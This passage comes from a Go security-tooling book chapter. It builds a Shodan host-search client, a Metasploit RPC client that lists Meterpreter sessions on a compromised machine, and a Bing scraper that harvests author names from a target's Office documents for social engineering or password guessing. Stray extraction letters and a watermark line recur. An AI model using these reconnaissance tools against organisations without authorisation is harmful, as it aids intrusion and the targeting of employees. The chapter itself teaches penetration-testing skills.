"hostnames": [ ],
"location": {
"city": null,
"region_code": null,
"area_code": null,
"longitude": 25,
"country_code3": "BGR",
"country_name": "Bulgaria",
"postal_code": null,
"dma_code": null,
"country_code": "BG",
"latitude": 43
},
"ip": 3579573318,
"domains": [ ],
前沿信安资讯阵地 公众号:i nf osrc
56 Chapter 3
"org": "Vivacom",
"data": "@PJL INFO STATUS CODE=35078 DISPLAY="Power Saver" ONLINE=TRUE",
"port": 9100,
"ip_str": "213.91.244.70"
},
--snip--
],
"facets": {
"org": [
{
"count": 286,
"value": "Korea Telecom"
},
--snip--
]
},
"total": 12039
}
Compared to the initial API call you implemented, this one is signifi-
cantly more complex. Not only does the request take multiple parameters,
but the JSON response contains nested data and arrays. For the following
implementation, you’ll ignore the facets option and data, and instead focus
on performing a string-based host search to process only the matches element
of the response.
As you did before, start by building the Go structs to handle the
response data; enter the types in Listing 3-9 into your host.go file.
type HostLocation struct {
City string `json:"city"`
RegionCode string `json:"region_code"`
AreaCode int `json:"area_code"`
Longitude float32 `json:"longitude"`
CountryCode3 string `json:"country_code3"`
CountryName string `json:"country_name"`
PostalCode string `json:"postal_code"`
DMACode int `json:"dma_code"`
CountryCode string `json:"country_code"`
Latitude float32 `json:"latitude"`
}
type Host struct {
OS string `json:"os"`
Timestamp string `json:"timestamp"`
ISP string `json:"isp"`
ASN string `json:"asn"`
Hostnames []string `json:"hostnames"`
Location HostLocation `json:"location"`
IP int64 `json:"ip"`
Domains []string `json:"domains"`
Org string `json:"org"`
Data string `json:"data"`
前沿信安资讯阵地 公众号:i nf osrc
HTTP Clients and Remote Interaction with Tools 57
Port int `json:"port"`
IPString string `json:"ip_str"`
}
type HostSearch struct {
Matches []Host `json:"matches"`
}
Listing 3-9: Host search response data types (/ch-3 /shodan/shodan/host.go)
The code defines three types:
HostSearch Used for parsing the matches array
Host Represents a single matches element
HostLocation Represents the location element within the host
Notice that the types may not define all response fields. Go handles
this elegantly, allowing you to define structures with only the JSON fields
you care about. Therefore, our code will parse the JSON just fine, while
reducing the length of your code by including only the fields that are most
relevant to the example. To initialize and populate the struct, you’ll define
the function in Listing 3-10, which is similar to the APIInfo() method you
created in Listing 3-8.
func (s *Client) HostSearch(q stringu) (*HostSearch, error) {
res, err := http.Get( v
fmt.Sprintf("%s/shodan/host/search?key=%s&query=%s", BaseURL, s.apiKey, q),
)
if err != nil {
return nil, err
}
defer res.Body.Close()
var ret HostSearch
if err := json.NewDecoder(res.Body).Decode(&ret)w; err != nil {
return nil, err
}
return &ret, nil
}
Listing 3-10: Decoding the host search response body (/ch-3/shodan /shodan/host.go)
The flow and logic is exactly like the APIInfo() method, except that
you take the search query string as a parameter u, issue the call to the
/shodan/host/search endpoint while passing the search term v, and decode
the response into the HostSearch struct w.
You repeat this process of structure definition and function implemen-
tation for each API service you want to interact with. Rather than wasting
precious pages here, we’ll jump ahead and show you the last step of the pro-
cess: creating the client that uses your API code.
前沿信安资讯阵地 公众号:i nf osrc
58 Chapter 3
Creating a Client
You’ll use a minimalistic approach to create your client: take a search term
as a command line argument and then call the APIInfo() and HostSearch()
methods, as in Listing 3-11.
func main() {
if len(os.Args) != 2 {
log.Fatalln("Usage: shodan searchterm")
}
apiKey := os.Getenv("SHODAN_API_KEY")u
s := shodan.New(apiKey)v
info, err := s.APIInfo()w
if err != nil {
log.Panicln(err)
}
fmt.Printf(
"Query Credits: %d\nScan Credits: %d\n\n",
info.QueryCredits,
info.ScanCredits)
hostSearch, err := s.HostSearch(os.Args[1])x
if err != nil {
log.Panicln(err)
}
y for _, host := range hostSearch.Matches {
fmt.Printf("%18s%8d\n", host.IPString, host.Port)
}
}
Listing 3-11: Consuming and using the shodan package (/ch-3/shodan/cmd/shodan
/main.go)
Start by reading your API key from the SHODAN_API_KEY environment vari-
able u. Then use that value to initialize a new Client struct v, s, subsequently
using it to call your APIInfo() method w. Call the HostSearch() method, pass-
ing in a search string captured as a command line argument x. Finally, loop
through the results to display the IP and port values for those services match-
ing the query string y. The following output shows a sample run, searching
for the string tomcat:
$ SHODAN_API_KEY=YOUR-KEY go run main.go tomcat
Query Credits: 100
Scan Credits: 100
185.23.138.141 8081
218.103.124.239 8080
123.59.14.169 8081
177.6.80.213 8181
142.165.84.160 10000
--snip--
前沿信安资讯阵地 公众号:i nf osrc
HTTP Clients and Remote Interaction with Tools 59
You’ll want to add error handling and data validation to this project,
but it serves as a good example for fetching and displaying Shodan data
with your new API. You now have a working codebase that can be easily
extended to support and test the other Shodan functions.
Interacting with Metasploit
Metasploit is a framework used to perform a variety of adversarial techniques,
including reconnaissance, exploitation, command and control, persistence,
lateral network movement, payload creation and delivery, privilege escala-
tion, and more. Even better, the community version of the product is free,
runs on Linux and macOS, and is actively maintained. Essential for any
adversarial engagement, Metasploit is a fundamental tool used by penetra-
tion testers, and it exposes a remote procedure call (RPC) API to allow remote
interaction with its functionality.
In this section, you’ll build a client that interacts with a remote Metasploit
instance. Much like the Shodan code you built, the Metasploit client you
develop won’t cover a comprehensive implementation of all available func-
tionality. Rather, it will be the foundation upon which you can extend
additional functionality as needed. We think you’ll find the implementation
more complex than the Shodan example, making the Metasploit interac-
tion a more challenging progression.
Setting Up Your Environment
Before you proceed with this section, download and install the Metasploit
community edition if you don’t already have it. Start the Metasploit console
as well as the RPC listener through the msgrpc module in Metasploit. Then
set the server host—the IP on which the RPC server will listen—and a pass-
word, as shown in Listing 3-12.
$ msfconsole
msf > load msgrpc Pass=s3cr3t ServerHost=10.0.1.6
[*] MSGRPC Service: 10.0.1.6:55552
[*] MSGRPC Username: msf
[*] MSGRPC Password: s3cr3t
[*] Successfully loaded plugin: msgrpc
Listing 3-12: Starting Metasploit and the msgrpc server
To make the code more portable and avoid hardcoding values, set the
following environment variables to the values you defined for your RPC
instance. This is similar to what you did for the Shodan API key used to
interact with Shodan in “Creating a Client” on page 58.
$ export MSFHOST=10.0.1.6:55552
$ export MSFPASS=s3cr3t
You should now have Metasploit and the RPC server running.
前沿信安资讯阵地 公众号:i nf osrc
60 Chapter 3
Because the details on exploitation and Metasploit use are beyond the
scope of this book,1 let’s assume that through pure cunning and trickery
you’ve already compromised a remote Windows system and you’ve leveraged
Metasploit’s Meterpreter payload for advanced post-exploitation activities.
Here, your efforts will instead focus on how you can remotely communicate
with Metasploit to list and interact with established Meterpreter sessions. As
we mentioned before, this code is a bit more cumbersome, so we’ll purposely
pare it back to the bare minimum—just enough for you to take the code and
extend it for your specific needs.
Follow the same project roadmap as the Shodan example: review the
Metasploit API, lay out the project in library format, define data types, imple-
ment client API functions, and, finally, build a test rig that uses the library.
First, review the Metasploit API developer documentation at Rapid7’s
official website (https://metasploit.help.rapid7.com/docs/rpc-api/). The function-
ality exposed is extensive, allowing you to do just about anything remotely
that you could through local interaction. Unlike Shodan, which uses JSON,
Metasploit communicates using MessagePack, a compact and efficient binary
format. Because Go doesn’t contain a standard MessagePack package, you’ll
use a full-featured community implementation. Install it by executing the
following from the command line:
$ go get gopkg.in/vmihailenco/msgpack.v2
In the code, you’ll refer to the implementation as msgpack. Don’t worry
too much about the details of the MessagePack spec. You’ll see shortly that
you’ll need to know very little about MessagePack itself to build a work-
ing client. Go is great because it hides a lot of these details, allowing you
to instead focus on business logic. What you need to know are the basics
of annotating your type definitions in order to make them “MessagePack-
friendly.” Beyond that, the code to initiate encoding and decoding is identi-
cal to other formats, such as JSON and XML.
Next, create your directory structure. For this example, you use only
two Go files:
$ tree github.com/blackhat-go/bhg/ch-3/metasploit-minimal
github.com/blackhat-go/bhg/ch-3/metasploit-minimal
|---client
| |---main.go
|---rpc
|---msf.go
The msf.go file resides within the rpc package, and you’ll use client/main.go
to implement and test the library you build.
1. For assistance and practice with exploitation, consider downloading and running
the Metasploitable virtual image, which contains several exploitable flaws useful for
training purposes.
前沿信安资讯阵地 公众号:i nf osrc
HTTP Clients and Remote Interaction with Tools 61
Defining Your Objective
Now, you need to define your objective. For the sake of brevity, implement
the code to interact and issue an RPC call that retrieves a listing of current
Meterpreter sessions—that is, the session.list method from the Metasploit
developer documentation. The request format is defined as follows:
[ "session.list", "token" ]
This is minimal; it expects to receive the name of the method to imple-
ment and a token. The token value is a placeholder. If you read through the
documentation, you’ll find that this is an authentication token, issued upon
successful login to the RPC server. The response returned from Metasploit
for the session.list method follows this format:
{
"1" => {
'type' => "shell",
"tunnel_local" => "192.168.35.149:44444",
"tunnel_peer" => "192.168.35.149:43886",
"via_exploit" => "exploit/multi/handler",
"via_payload" => "payload/windows/shell_reverse_tcp",
"desc" => "Command shell",
"info" => "",
"workspace" => "Project1",
"target_host" => "",
"username" => "root",
"uuid" => "hjahs9kw",
"exploit_uuid" => "gcprpj2a",
"routes" => [ ]
}
}
This response is returned as a map: the Meterpreter session identifiers
are the keys, and the session detail is the value.
Let’s build the Go types to handle both the request and response data.
Listing 3-13 defines the sessionListReq and SessionListRes.
u type sessionListReq struct {
v _msgpack struct{} `msgpack:",asArray"`
Method string
Token string
}
w type SessionListRes struct {
ID uint32 `msgpack:",omitempty"`x
Type string `msgpack:"type"`
TunnelLocal string `msgpack:"tunnel_local"`
TunnelPeer string `msgpack:"tunnel_peer"`
ViaExploit string `msgpack:"via_exploit"`
ViaPayload string `msgpack:"via_payload"`
Description string `msgpack:"desc"`
前沿信安资讯阵地 公众号:i nf osrc
62 Chapter 3
Info string `msgpack:"info"`
Workspace string `msgpack:"workspace"`
SessionHost string `msgpack"session_host"`
SessionPort int `msgpack"session_port"`
Username string `msgpack:"username"`
UUID string `msgpack:"uuid"`
ExploitUUID string `msgpack:"exploit_uuid"`
}
Listing 3-13: Metasploit session list type definitions (/ch-3/metasploit-minimal/rpc/msf.go)
You use the request type, sessionListReq u, to serialize structured data
to the MessagePack format in a manner consistent with what the Metasploit
RPC server expects—specifically, with a method name and token value.
Notice that there aren’t any descriptors for those fields. The data is passed
as an array, not a map, so rather than expecting data in key/value format,
the RPC interface expects the data as a positional array of values. This is
why you omit annotations for those properties—no need to define the key
names. However, by default, a structure will be encoded as a map with the
key names deduced from the property names. To disable this and force the
encoding as a positional array, you add a special field named _msgpack that
utilizes the asArray descriptor v, to explicitly instruct an encoder/decoder
to treat the data as an array.
The SessionListRes type w contains a one-to-one mapping between
response field and struct properties. The data, as shown in the preceding
example response, is essentially a nested map. The outer map is the session
identifier to session details, while the inner map is the session details, repre-
sented as key/value pairs. Unlike the request, the response isn’t structured
as a positional array, but each of the struct properties uses descriptors to
explicitly name and map the data to and from Metasploit’s representation.
The code includes the session identifier as a property on the struct. However,
because the actual value of the identifier is the key value, this will be popu-
lated in a slightly different manner, so you include the omitempty descriptor x
to make the data optional so that it doesn’t impact encoding or decoding.
This flattens the data so you don’t have to work with nested maps.
Retrieving a Valid Token
Now, you have only one thing outstanding. You have to retrieve a valid token
value to use for that request. To do so, you’ll issue a login request for the
auth.login() API method, which expects the following:
["auth.login", "username", "password"]
You need to replace the username and password values with what you used
when loading the msfrpc module in Metasploit during initial setup (recall
that you set them as environment variables). Assuming authentication is
successful, the server responds with the following message, which contains
an authentication token you can use for subsequent requests.
前沿信安资讯阵地 公众号:i nf osrc
HTTP Clients and Remote Interaction with Tools 63
{ "result" => "success", "token" => "a1a1a1a1a1a1a1a1" }
An authentication failure produces the following response:
{
"error" => true,
"error_class" => "Msf::RPC::Exception",
"error_message" => "Invalid User ID or Password"
}
For good measure, let’s also create functionality to expire the token by
logging out. The request takes the method name, the authentication token,
and a third optional parameter that you’ll ignore because it’s unnecessary
for this scenario:
[ "auth.logout", "token", "logoutToken"]
A successful response looks like this:
{ "result" => "success" }
Defining Request and Response Methods
Much as you structured the Go types for the session.list() method’s request
and response, you need to do the same for both auth.login() and auth.logout()
(see Listing 3-14). The same reasoning applies as before, using descriptors
to force requests to be serialized as arrays and for the responses to be treated
as maps:
type loginReq struct {
_msgpack struct{} `msgpack:",asArray"`
Method string
Username string
Password string
}
type loginRes struct {
Result string `msgpack:"result"`
Token string `msgpack:"token"`
Error bool `msgpack:"error"`
ErrorClass string `msgpack:"error_class"`
ErrorMessage string `msgpack:"error_message"`
}
type logoutReq struct {
_msgpack struct{} `msgpack:",asArray"`
Method string
Token string
LogoutToken string
}
前沿信安资讯阵地 公众号:i nf osrc
64 Chapter 3
type logoutRes struct {
Result string `msgpack:"result"`
}
Listing 3-14: Login and logout Metasploit type definition (/ch-3/metasploit-minimal/rpc
/msf.go)
It’s worth noting that Go dynamically serializes the login response,
populating only the fields present, which means you can represent both
successful and failed logins by using a single struct format.
Creating a Configuration Struct and an RPC Method
In Listing 3-15, you take the defined types and actually use them, creating
the necessary methods to issue RPC commands to Metasploit. Much as
in the Shodan example, you also define an arbitrary type for maintaining
pertinent configuration and authentication information. That way, you
won’t have to explicitly and repeatedly pass in common elements such as
host, port, and authentication token. Instead, you’ll use the type and build
methods on it so that data is implicitly available.
type Metasploit struct {
host string
user string
pass string
token string
}
func New(host, user, pass string) *Metasploit {
msf := &Metasploit{
host: host,
user: user,
pass: pass,
}
return msf
}
Listing 3-15: Metasploit client definition (/ch-3 /metasploit-minimal/rpc/msf.go)
Now you have a struct and, for convenience, a function named New()
that initializes and returns a new struct.
Performing Remote Calls
You can now build methods on your Metasploit type in order to perform
the remote calls. To prevent extensive code duplication, in Listing 3-16, you
start by building a method that performs the serialization, deserialization,
and HTTP communication logic. Then you won’t have to include this logic
in every RPC function you build.
func (msf *Metasploit) send(req interface{}, res interface{})u error {
buf := new(bytes.Buffer)
前沿信安资讯阵地 公众号:i nf osrc
HTTP Clients and Remote Interaction with Tools 65
v msgpack.NewEncoder(buf).Encode(req)
w dest := fmt.Sprintf("http://%s/api", msf.host)
r, err := http.Post(dest, "binary/message-pack", buf)x
if err != nil {
return err
}
defer r.Body.Close()
if err := msgpack.NewDecoder(r.Body).Decode(&res)y; err != nil {
return err
}
return nil
}
Listing 3-16: Generic send() method with reusable serialization and deserialization
(/ch-3/metasploit-minimal/rpc/msf.go)
The send() method receives request and response parameters of type
interface{} u. Using this interface type allows you to pass any request
struct into the method, and subsequently serialize and send the request
to the server. Rather than explicitly returning the response, you’ll use the
res interface{} parameter to populate its data by writing a decoded HTTP
response to its location in memory.
Next, use the msgpack library to encode the request v. The logic to do
this matches that of other standard, structured data types: first create an
encoder via NewEncoder() and then call the Encode() method. This populates
the buf variable with MessagePack-encoded representation of the request
struct. Following the encoding, you build the destination URL by using the
data within the Metasploit receiver, msf w. You use that URL and issue a POST
request, explicitly setting the content type to binary/message-pack and setting
the body to the serialized data x. Finally, you decode the response body y.
As alluded to earlier, the decoded data is written to the memory location of
the response interface that was passed into the method. The encoding and
decoding of data is done without ever needing to explicitly know the request
or response struct types, making this a flexible, reusable method.
In Listing 3-17, you can see the meat of the logic in all its glory.
func (msf *Metasploit) Login()u error {
ctx := &loginReq{
Method: "auth.login",
Username: msf.user,
Password: msf.pass,
}
var res loginRes
if err := msf.send(ctx, &res)v; err != nil {
return err
}
msf.token = res.Token
return nil
}
前沿信安资讯阵地 公众号:i nf osrc
66 Chapter 3
func (msf *Metasploit) Logout()w error {
ctx := &logoutReq{
Method: "auth.logout",
Token: msf.token,
LogoutToken: msf.token,
}
var res logoutRes
if err := msf.send(ctx, &res)x; err != nil {
return err
}
msf.token = ""
return nil
}
func (msf *Metasploit) SessionList()y (map[uint32]SessionListRes, error) {
req := &SessionListReq{Method: "session.list", Token: msf.token}
z res := make(map[uint32]SessionListRes)
if err := msf.send(req, &res){; err != nil {
return nil, err
}
| for id, session := range res {
session.ID = id
res[id] = session
}
return res, nil
}
Listing 3-17: Metasploit API calls implementation (/ch-3/metasploit-minimal/rpc/msf.go)
You define three methods: Login() u, Logout() w, and SessionList() y.
Each method uses the same general flow: create and initialize a request
struct, create the response struct, and call the helper function vx{
to send the request and receive the decoded response. The Login() and
Logout() methods manipulate the token property. The only significant dif-
ference between method logic appears in the SessionList() method, where
you define the response as a map[uint32]SessionListRes z and loop over that
response to flatten the map |, setting the ID property on the struct rather
than maintaining a map of maps.
Remember that the session.list() RPC function requires a valid authenti-
cation token, meaning you have to log in before the SessionList() method call
will succeed. Listing 3-18 uses the Metasploit receiver struct to access a token,
which isn’t a valid value yet—it’s an empty string. Since the code you’re devel-
oping here isn’t fully featured, you could just explicitly include a call to your
Login() method from within the SessionList() method, but for each additional
authenticated method you implement, you’d have to check for the existence
of a valid authentication token and make an explicit call to Login(). This isn’t
great coding practice because you’d spend a lot of time repeating logic that
you could write, say, as part of a bootstrapping process.
前沿信安资讯阵地 公众号:i nf osrc
HTTP Clients and Remote Interaction with Tools 67
You’ve already implemented a function, New(), designed to be used for
bootstrapping, so patch up that function to see what a new implementa-
tion looks like when including authentication as part of the process (see
Listing 3-18).
func New(host, user, pass string) (*Metasploit, error)u {
msf := &Metasploit{
host: host,
user: user,
pass: pass,
}
if err := msf.Login()v; err != nil {
return nil, err
}
return msf, nil
}
Listing 3-18: Initializing the client with embedding Metasploit login (/ch-3/metasploit
-minimal/rpc/msf.go)
The patched-up code now includes an error as part of the return value
set u. This is to alert on possible authentication failures. Also, added to the
logic is an explicit call to the Login() method v. As long as the Metasploit
struct is instantiated using this New() function, your authenticated method
calls will now have access to a valid authentication token.
Creating a Utility Program
Nearing the end of this example, your last effort is to create the utility pro-
gram that implements your shiny new library. Enter the code in Listing 3-19
into client/main.go, run it, and watch the magic happen.
package main
import (
"fmt"
"log"
"github.com/blackhat-go/bhg/ch-3/metasploit-minimal/rpc"
)
func main() {
host := os.Getenv("MSFHOST")
pass := os.Getenv("MSFPASS")
user := "msf"
if host == "" || pass == "" {
log.Fatalln("Missing required environment variable MSFHOST or MSFPASS")
}
前沿信安资讯阵地 公众号:i nf osrc
68 Chapter 3
msf, err := rpc.New(host, user, pass)u
if err != nil {
log.Panicln(err)
}
v defer msf.Logout()
sessions, err := msf.SessionList()w
if err != nil {
log.Panicln(err)
}
fmt.Println("Sessions:")
x for _, session := range sessions {
fmt.Printf("%5d %s\n", session.ID, session.Info)
}
}
Listing 3-19: Consuming our msfrpc package (/ch-3/metasploit-minimal/client/main.go)
First, bootstrap the RPC client and initialize a new Metasploit struct u.
Remember, you just updated this function to perform authentication dur-
ing initialization. Next, ensure you do proper cleanup by issuing a deferred
call to the Logout() method v. This will run when the main function returns
or exits. You then issue a call to the SessionList() method w and iterate over
that response to list out the available Meterpreter sessions x.
That was a lot of code, but fortunately, implementing other API calls
should be substantially less work since you’ll just be defining request and
response types and building the library method to issue the remote call.
Here’s sample output produced directly from our client utility, showing one
established Meterpreter session:
$ go run main.go
Sessions:
1 WIN-HOME\jsmith @ WIN-HOME
There you have it. You’ve successfully created a library and client util-
ity to interact with a remote Metasploit instance to retrieve the available
Meterpreter sessions. Next, you’ll venture into search engine response
scraping and document metadata parsing.
Parsing Document Metadata with Bing Scraping
As we stressed in the Shodan section, relatively benign information—when
viewed in the correct context—can prove to be critical, increasing the likeli-
hood that your attack against an organization succeeds. Information such
as employee names, phone numbers, email addresses, and client software
versions are often the most highly regarded because they provide concrete
前沿信安资讯阵地 公众号:i nf osrc
HTTP Clients and Remote Interaction with Tools 69
or actionable information that attackers can directly exploit or use to craft
attacks that are more effective and highly targeted. One such source of
information, popularized by a tool named FOCA, is document metadata.
Applications store arbitrary information within the structure of a file
saved to disk. In some cases, this can include geographical coordinates,
application versions, operating system information, and usernames. Better
yet, search engines contain advanced query filters that allow you to retrieve
specific files for an organization. The remainder of this chapter focuses on
building a tool that scrapes—or as my lawyer calls it, indexes—Bing search
results to retrieve a target organization’s Microsoft Office documents, sub-
sequently extracting relevant metadata.
Setting Up the Environment and Planning
Before diving into the specifics, we’ll start by stating the objectives. First, you’ll
focus solely on Office Open XML documents—those ending in xlsx, docx, pptx,
and so on. Although you could certainly include legacy Office data types, the
binary formats make them exponentially more complicated, increasing code
complexity and reducing readability. The same can be said for working with
PDF files. Also, the code you develop won’t handle Bing pagination, instead
only parsing initial page search results. We encourage you to build this into
your working example and explore file types beyond Open XML.
Why not just use the Bing Search APIs for building this, rather than
doing HTML scraping? Because you already know how to build clients
that interact with structured APIs. There are practical use cases for scrap-
ing HTML pages, particularly when no API exists. Rather than rehashing
what you already know, we’ll take this as an opportunity to introduce a new
method of extracting data. You’ll use an excellent package, goquery, which
mimics the functionality of jQuery, a JavaScript library that includes an
intuitive syntax to traverse HTML documents and select data within. Start
by installing goquery:
$ go get github.com/PuerkitoBio/goquery
Fortunately, that’s the only prerequisite software needed to complete
the development. You’ll use standard Go packages to interact with Open
XML files. These files, despite their file type suffix, are ZIP archives that,
when extracted, contain XML files. The metadata is stored in two files
within the docProps directory of the archive:
$ unzip test.xlsx
$ tree
--snip--
|---docProps
| |---app.xml
| |---core.xml
--snip—
前沿信安资讯阵地 公众号:i nf osrc
70 Chapter 3
The core.xml file contains the author information as well as modification
details. It’s structured as follows:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<cp:coreProperties xmlns:cp="http://schemas.openxmlformats.org/package/2006/metadata
/core-properties"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:dcterms="http://purl.org/dc/terms/"
xmlns:dcmitype="http://purl.org/dc/dcmitype/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<dc:creator>Dan Kottmann</dc:creator>u
<cp:lastModifiedBy>Dan Kottmann</cp:lastModifiedBy>v
<dcterms:created xsi:type="dcterms:W3CDTF">2016-12-06T18:24:42Z</dcterms:created>
<dcterms:modified xsi:type="dcterms:W3CDTF">2016-12-06T18:25:32Z</dcterms:modified>
</cp:coreProperties>
The creator u and lastModifiedBy v elements are of primary interest.
These fields contain employee or usernames that you can use in a social-
engineering or password-guessing campaign.
The app.xml file contains details about the application type and version
used to create the Open XML document. Here’s its structure:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Properties xmlns="http://schemas.openxmlformats.org/officeDocument/2006/extended-properties"
xmlns:vt="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes">
<Application>Microsoft Excel</Application>u
<DocSecurity>0</DocSecurity>
<ScaleCrop>false</ScaleCrop>
<HeadingPairs>
<vt:vector size="2" baseType="variant">
<vt:variant>
<vt:lpstr>Worksheets</vt:lpstr>
</vt:variant>
<vt:variant>
<vt:i4>1</vt:i4>
</vt:variant>
</vt:vector>
</HeadingPairs>
<TitlesOfParts>
<vt:vector size="1" baseType="lpstr">
<vt:lpstr>Sheet1</vt:lpstr>
</vt:vector>
</TitlesOfParts>
<Company>ACME</Company>v
<LinksUpToDate>false</LinksUpToDate>
<SharedDoc>false</SharedDoc>
<HyperlinksChanged>false</HyperlinksChanged>
<AppVersion>15.0300</AppVersion>w
</Properties>
前沿信安资讯阵地 公众号:i nf osrc
HTTP Clients and Remote Interaction with Tools 71
You’re primarily interested in just a few of those elements: Application u,
Company v, and AppVersion w. The version itself doesn’t obviously correlate to
the Office version name, such as Office 2013, Office 2016, and so on, but a
logical mapping does exist between that field and the more readable, com-
monly known alternative. The code you develop will maintain this mapping.
Defining the metadata Package
In Listing 3-20, define the Go types that correspond to these XML datasets
in a new package named metadata and put the code in a file named openxml
.go—one type for each XML file you wish to parse. Then add a data map-
ping and convenience function for determining the recognizable Office
version that corresponds to the AppVersion.
type OfficeCoreProperty struct {
XMLName xml.Name `xml:"coreProperties"`
Creator string `xml:"creator"`
LastModifiedBy string `xml:"lastModifiedBy"`
}
type OfficeAppProperty struct {
XMLName xml.Name `xml:"Properties"`
Application string `xml:"Application"`
Company string `xml:"Company"`
Version string `xml:"AppVersion"`
}
var OfficeVersionsu = map[string]string{
"16": "2016",
"15": "2013",
"14": "2010",
"12": "2007",
"11": "2003",
}
func (a *OfficeAppProperty) GetMajorVersion()v string {
tokens := strings.Split(a.Version, ".")w
if len(tokens) < 2 {
return "Unknown"
}
v, ok := OfficeVersionsx [tokens[0]]
if !ok {
return "Unknown"
}
return v
}
Listing 3-20: Open XML type definition and version mapping (/ch-3/bing-metadata
/metadata/openxml.go)
前沿信安资讯阵地 公众号:i nf osrc
72 Chapter 3
After you define the OfficeCoreProperty and OfficeAppProperty types,
define a map, OfficeVersions, that maintains a relationship of major version
numbers to recognizable release years u. To use this map, define a method,
GetMajorVersion(), on the OfficeAppProperty type v. The method splits the XML
data’s AppVersion value to retrieve the major version number w, subsequently
using that value and the OfficeVersions map to retrieve the release year x.
Mapping the Data to Structs
Now that you’ve built the logic and types to work with and inspect the XML
data of interest, you can create the code that reads the appropriate files and
assigns the contents to your structs. To do this, define NewProperties() and
process() functions, as shown in Listing 3-21.
func NewProperties(r *zip.Reader) (*OfficeCoreProperty, *OfficeAppProperty, error) {u
var coreProps OfficeCoreProperty
var appProps OfficeAppProperty
for _, f := range r.File {v
switch f.Name {w
case "docProps/core.xml":
if err := process(f, &coreProps)x; err != nil {
return nil, nil, err
}
case "docProps/app.xml":
if err := process(f, &appProps)y; err != nil {
return nil, nil, err
}
default:
continue
}
}
return &coreProps, &appProps, nil
}
func process(f *zip.File, prop interface{}) error {z
rc, err := f.Open()
if err != nil {
return err
}
defer rc.Close()
if err := {xml.NewDecoder(rc).Decode(&prop); err != nil {
return err
}
return nil
}
Listing 3-21: Processing Open XML archives and embedded XML documents (/ch-3/bing-metadata
/metadata/openxml.go)
前沿信安资讯阵地 公众号:i nf osrc
HTTP Clients and Remote Interaction with Tools 73
The NewProperties() function accepts a *zip.Reader, which represents an
io.Reader for ZIP archives u. Using the zip.Reader instance, iterate through
all the files in the archive v, checking the filenames w. If a filename matches
one of the two property filenames, call the process() function xy, passing
in the file and the arbitrary structure type you wish to populate—either
OfficeCoreProperty or OfficeAppProperty.
The process() function accepts two parameters: a *zip.File and an
interface{} z. Similar to the Metasploit tool you developed, this code
accepts a generic interface{} type to allow for the file contents to be
assigned into any data type. This increases code reuse because there’s
nothing type-specific within the process() function. Within the function,
the code reads the contents of the file and unmarshals the XML data
into the struct {.
Searching and Receiving Files with Bing
You now have all the code necessary to open, read, parse, and extract Office
Open XML documents, and you know what you need to do with the file.
Now, you need to figure out how to search for and retrieve files by using
Bing. Here’s the plan of action you should follow:
1. Submit a search request to Bing with proper filters to retrieve
targeted results.
2. Scrape the HTML response, extracting the HREF (link) data to
obtain direct URLs for documents.
3. Submit an HTTP request for each direct document URL
4. Parse the response body to create a zip.Reader.
5. Pass the zip.Reader into the code you already developed to extract
metadata.
The following sections discuss each of these steps in order.
The first order of business is to build a search query template. Much like
Google, Bing contains advanced query parameters that you can use to filter
search results on numerous variables. Most of these filters are submitted in a
filter_type: value format. Without explaining all the available filter types,
let’s instead focus on what helps you achieve your goal. The following list
contains the three filters you’ll need. Note that you could use additional
filters, but at the time of this writing, they behave somewhat unpredictably.
site Used to filter the results to a specific domain
filetype Used to filter the results based off resource file type
instreamset Used to filter the results to include only certain file
extensions
An example query to retrieve docx files from nytimes.com would look
like this:
site:nytimes.com && filetype:docx && instreamset:(url title):docx
前沿信安资讯阵地 公众号:i nf osrc
74 Chapter 3
After submitting that query, take a peek at the resulting URL in
your browser. It should resemble Figure 3-1. Additional parameters may
appear after this, but they’re inconsequential for this example, so you can
ignore them.
Now that you know the URL and parameter format, you can see the
HTML response, but first you need to determine where in the Document
Object Model (DOM) the document links reside. You can do this by viewing
the source code directly, or limit the guesswork and just use your browser’s
developer tools. The following image shows the full HTML element path to
the desired HREF. You can use the element inspector, as in Figure 3-1, to
quickly select the link to reveal its full path.
Figure 3-1: A browser developer tool showing the full element path
With that path information, you can use goquery to systematically pull
all data elements that match an HTML path. Enough talk! Listing 3-22 puts
it all together: retrieving, scraping, parsing, and extracting. Save this code
to main.go.
u func handler(i int, s *goquery.Selection) {
url, ok := s.Find("a").Attr("href")v
if !ok {
return
}
fmt.Printf("%d: %s\n", i, url)
res, err := http.Get(url)w
if err != nil {
return
}
前沿信安资讯阵地 公众号:i nf osrc
HTTP Clients and Remote Interaction with Tools 75
buf, err := ioutil.ReadAll(res.Body)x
if err != nil {
return
}
defer res.Body.Close()
r, err := zip.NewReader(bytes.NewReader(buf)y, int64(len(buf)))
if err != nil {
return
}
cp, ap, err := metadata.NewProperties(r)z
if err != nil {
return
}
log.Printf(
"%25s %25s - %s %s\n",
cp.Creator,
cp.LastModifiedBy,
ap.Application,
ap.GetMajorVersion())
}
func main() {
if len(os.Args) != 3 {
log.Fatalln("Missing required argument. Usage: main.go domain ext")
}
domain := os.Args[1]
filetype := os.Args[2]
{ q := fmt.Sprintf(
"site:%s && filetype:%s && instreamset:(url title):%s",
domain,
filetype,
filetype)
| search := fmt.Sprintf("http://www.bing.com/search?q=%s", url.QueryEscape(q))
doc, err := goquery.NewDocument(search)}
if err != nil {
log.Panicln(err)
}
s := "html body div#b_content ol#b_results li.b_algo div.b_title h2"
~ doc.Find(s).Each(handler)
}
Listing 3-22: Scraping Bing results and parsing document metadata (/ch-3/bing-metadata
/client/main.go)
You create two functions. The first, handler(), accepts a goquery.Selection
instance u (in this case, it will be populated with an anchor HTML element)
and finds and extracts the href attribute v. This attribute contains a direct
link to the document returned from the Bing search. Using that URL, the
code then issues a GET request to retrieve the document w. Assuming no
前沿信安资讯阵地 公众号:i nf osrc
76 Chapter 3
errors occur, you then read the response body x, leveraging it to create a
zip.Reader y. Recall that the function you created earlier in your metadata
package, NewProperties(), expects a zip.Reader. Now that you have the appro-
priate data type, pass it to that function z, and properties are populated
from the file and printed to your screen.
The main() function bootstraps and controls the whole process; you
pass it the domain and file type as command line arguments. The func-
tion then uses this input data to build the Bing query with the appropri-
ate filters {. The filter string is encoded and used to build the full Bing
search URL |. The search request is sent using the goquery.NewDocument()
function, which implicitly makes an HTTP GET request and returns a
goquery-friendly representation of the HTML response document }. This
document can be inspected with goquery. Finally, use the HTML element
selector string you identified with your browser developer tools to find
and iterate over matching HTML elements ~. For each matching element,
